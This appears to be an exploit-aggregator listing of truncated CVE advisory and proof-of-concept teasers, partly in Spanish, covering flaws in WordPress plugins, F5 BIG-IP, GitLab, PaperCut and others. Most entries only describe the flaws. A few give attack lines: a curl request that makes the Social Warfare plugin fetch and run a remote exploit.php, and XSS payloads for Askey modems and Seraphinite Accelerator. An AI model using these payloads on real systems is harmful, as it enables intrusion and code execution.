EUVD-2026-69417

Wyoming before 1.10.2 contains a server-side request forgery vulnerability that allows unauthenticated attackers with network access to force outbound connections to arbitrary targets by supplying a malicious uri query parameter to the HTTP API. Attackers can pass arbitrary tcp:// or unix:// URIs...

CVE-2026-8712

Wyoming before 1.10.2 contains a server-side request forgery (SSRF) vulnerability. Unauthenticated attackers with network access can supply a malicious uri query parameter containing arbitrary tcp:// or unix:// URIs to the HTTP API endpoints /api/info, /api/speech-to-text, and /api/text-to-speech...

CVE-2024-3495-Poc

CVE-2024-3495-Poc CVE-2024-3495 Country State City Dropdown CF7 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 Apple...

CVE-2026-17532

Seraphinite Accelerator . One URL, no authentication: root@kitploit: http://TARGET/?seraphaccelprep=alertdocument.domain" Usage Python needs pip install requests:...

CVE-2019-9978

CVE-2019-9978 - Social Warfare Wordpress plugin RCE RCE on a Social Warfare Wordpress plugin without any prior authentication Proof Of Concept root@kitploit: curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php Vulnerable code : Fix:...

CVE-2020-5902

CVE-2020-5902 Interfaz de gestión de tráfico BIG-IP de F5 TMUI Ejecución remota de código En las versiones de BIG-IP 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1 y 11.6.1-11.6.5.1, la interfaz de gestión de tráfico TMUI, también denominada utilidad de configuración, presenta...

CVE-2024-9593

CVE-2024-9593 Time Clock = 1.2.2 & Time Clock Pro = 1.1.4 - Unauthenticated Limited Remote Code Execution Description: The Time Clock plugin and Time Clock Pro plugin for WordPress are vulnerable to Remote Code Execution in versions up to, and including, 1.2.2 for Time Clock and 1.1.4 for Time...

CVE-2020-14883

CVE-2020-14883 Oracle WebLogic Server Authenticated Remote Code Execution RCE Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware component: Console. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily...

CVE-2021-21972

CVE-2021-21972 VMware vSphere Client: carga de archivos no autorizada que conduce a la ejecución remota de código RCE El vSphere Web Client HTML5 es esencialmente una interfaz administrativa que permite la gestión de una instalación de vSphere. El vSphere Client proporciona al administrador acces...

CVE-2020-3452

CVE-2020-3452 Cisco Adaptive Security Appliance ASA y Cisco Firepower Threat Defense FTD — Vulnerabilidad de recorrido de directorio de solo lectura en el servicio web Una vulnerabilidad en la interfaz de servicios web del software Cisco Adaptive Security Appliance ASA y del software Cisco...

F5-Big-IP-CVE-2022-1388

F5-Big-IP-CVE-2022-1388 CVE-2022-1388 F5 Big IP ejecución remota de código no autenticada PoC Síguenos Vulnmachines YouTube Twitter Facebook...

CVE-2021-27403

Cross-Site Scripting no autenticado - Módem de fibra de Internet Askey Fabricante: Askey Versión de software: BRSVg11.11RTFTEF001V6.54V014 Modelo: RTF8115VW Parámetro vulnerable: curWebPage Payload: ";alert'xss'// No probado en otros modelos/versiones. Vía petición GET root@kitploit: En la petici...

CVE-2022-1386

CVE-2022-1386 - Fusion Builder 3.6.2 - SSRF no autenticado Descripción Fusion Builder es un plugin de WordPress que permite a los usuarios crear y editar páginas mediante una interfaz de arrastrar y soltar. Es vulnerable a un SSRF no autenticado que permite a un atacante leer cualquier archivo de...

httpd: mod_authn_socache: NULL pointer dereference can cause a child process crash

A flaw was found in the modauthnsocache module of httpd. This vulnerability allows an unauthenticated remote user to crash a child process due to a NULL pointer dereference when the server is operating in a caching forward proxy configuration...

httpd: NULL pointer dereference via specially crafted request

A flaw was found in the moddavlock module of httpd. This vulnerability allows a remote unauthenticated attacker to crash the server due to a NULL pointer dereference via a specially crafted request...

CVE-2023-27350

CVE-2023-27350 Exploit POC Este es un exploit de prueba de concepto POC para CVE-2023-27350, una vulnerabilidad encontrada en PaperCut MF/NG que permite a un atacante no autenticado ejecutar código arbitrario con privilegios de SYSTEM. Requisitos Antes de usar este exploit, asegúrate de tener...

Attackers Exploit Critical JFrog Artifactory Flaw to Mint Admin Tokens Days After Disclosure

Threat actors are exploiting a newly patched critical security flaw impacting JFrog Artifactory merely days after public disclosure, according to watchTowr. The vulnerability in question is CVE-2026-82329 CVSS score: 9.8, a case of authentication bypass that could lead to administrative access in...

CVE-2022-22978-PoC

CVE 2022-22978: Bypass de autorización en RegexRequestMatcher 🥶 Resumen Según la información que he investigado, esta es una vulnerabilidad relacionada con la clase RegexRequestMatcher en el framework Spring Security. Específicamente, las aplicaciones que usan RegexRequestMatcher cuya expresión...

CVE-2026-21018-OPC-UA-Authentication-Bypass-via-None-Security-Policy

CVE-2026-21018 – OPC UA Authentication Bypass via None Security Policy Program Code Python opcua-asyncio sim root@kitploit: opcuaserversim.py - OPC UA server accepting None security policy from asyncua import Server import asyncio async def main: server = Server await server.init...

Gitlab-CVE-2021-22205

RCE no autenticado en Gitlab versión 13.10.3 Exploit de RCE no autenticado para gitlab versión 13.10.3 Solo con fines educativos/de investigación. Úsalo bajo tu propio riesgo Causa raíz: Al subir archivos de imagen, Gitlab Workhorse pasa cualquier archivo con las extensiones jpg|jpeg|tiff a...